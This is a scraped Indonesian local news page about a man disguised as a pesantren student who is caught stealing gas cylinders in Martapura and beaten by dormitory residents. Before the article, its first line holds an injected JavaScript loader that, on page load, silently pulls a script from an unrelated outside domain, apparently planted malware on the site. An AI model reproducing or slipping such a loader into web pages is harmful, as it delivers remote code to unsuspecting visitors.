(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Martapura

Nyamar Jadi Santri, Seorang Pria Kepergok Gasak Gas 3 Kg di Asrama Ponpes


KANALKALIMANTAN.COM, MARTAPURA – Seorang pria kepergok diduga mau mencuri tabung gas 3 kilogram, di Asrama Santri Ponpes Darussalam, Jalan Tanjung Rema, Martapura, Kabupaten Banjar, Selasa (9/3/2021) siang.

Sontak saja, pelaku yang tertangkap basah oleh penghuni asrama jadi bulan-bulanan mereka.

Alfian (19), salah satu penghuni Asrama D Ponpes Darussalam Tanjung Rema, mengatakan, dirinya mendapat telephone dari temannya dari Asrama C -masih satu kawasan-, kalau ada seseorang yang mencurigakan berada di dapur Asrama D.

“Setelah itu saya lihat di jendela, habis buka jendela saya lihat dan saya ingat orang itu sekitar seminggu yang lalu juga pernah ke sini, dan tabung gas kami hilang 2 buah,” aku Alfian kepada Kanalkalimantan.com, Selasa (9/3/2021) siang.

“Saya panggil teman-teman dan teriak maling, teman-teman yang lain tidak berani, maling itu mau kabur naik sepeda motornya, saya cegat dan saya tendang sepeda motornya,” bebernya.

Baca juga:

Mendapat tendangan, sepeda motor pelaku oleng, lalu menabrak ke sebuah sepeda motor yang sedang terparkir. Pria tersebut pun langsung mendapat bogem para penghuni asrama.

Masih dari pengakuan Alfian, sekitar satu bulan yang lalu juga pernah salah satu santri kehilangan hp. Belakangan, setelah pria itu ditangkap, kemudian digeledah badannya, ditemukan hp yang hilang itu, tapi sudah berganti casing.

“Kami tanyakan hp ini dari mana dia dapat, dia mejawab hp itu dibeli, karena teman saya yang satunya tidak percaya begitu saja, teman saya bawa kotak hp tersebut, kami cek IMEI dari kotak hp dan di hp-nya, ternyata cocok dan sama IMEI-nya,” jelasnya.
Saksi kejadian di asrama ini juga mengatakan, adapun pelaku tersebut melancarkan aksinya menyamar sebagai seorang santri.

 

“Ya, pada saat orang itu mengambil gas, dia menyamar sebagai seorang santri, dia memakai sarung, dan memakai helm,” bebernya.

Sementara itu, Kanit Reskrim Polsek Martapura Kota, Iptu B Munte, saat dihubungi Kanalkalimantan.com, membenarkan kejadian di Asrama Santri Ponpes Darussalam Tanjung Rema, Martapura.
“Saat ini pelaku sedang kita intrograsi di Mapolsek Martapura Kota,” ucapnya. Pelaku masih dalam tahap introgasi pihak Polsek Martapura Kota dan masih belum diketahui identitas pelaku tersebut. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Digital Entrepreneurship Academy di HSU, Up Skilling untuk Calon Pelaku UMKM

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani membuka pelatihan Digital Entrepreneurship Academy… Read More

11 jam ago

Penentuan Lokasi Transmigrasi Lokal Warga Terdampak Banjir, Ini Kata Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar rapat terkait penentuan lokasi rencana transmigrasi… Read More

12 jam ago

Optimalisasi Polder Alabio Salah Satu Prioritas dalam Musrenbang RKPD 2026

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana… Read More

12 jam ago

Jelang Coblosan Ulang, Pj Wali Kota: Serahkan Semua kepada Masyarakat, Jaga Netralitas ASN!

KANALKALIMANTAN.COM, BANJARBARU - Penjabat (Pj) Wali Kota Banjarbaru Subhan Nor Yaumil memimpin rapat koordinasi (Rakor)… Read More

16 jam ago

Perhatian Khusus Kasus Juwita, Komnas HAM Kumpulkan Fakta Lapangan

KANALKALIMANTAN.COM, BANJARBARU - Komisioner Komisi Nasional Hak Asasi Manusia (Komnas HAM) Republik Indonesia (RI) Uli… Read More

16 jam ago

Komnas HAM RI ke Banjarbaru Penyelidikan Kasus Juwita

KANALKALIMANTAN.COM, BANJARBARU - Kasus pembunuhan berencana yang dilakukan Jumran, Anggota TNI AL Lanal Balikpapan terhadap… Read More

20 jam ago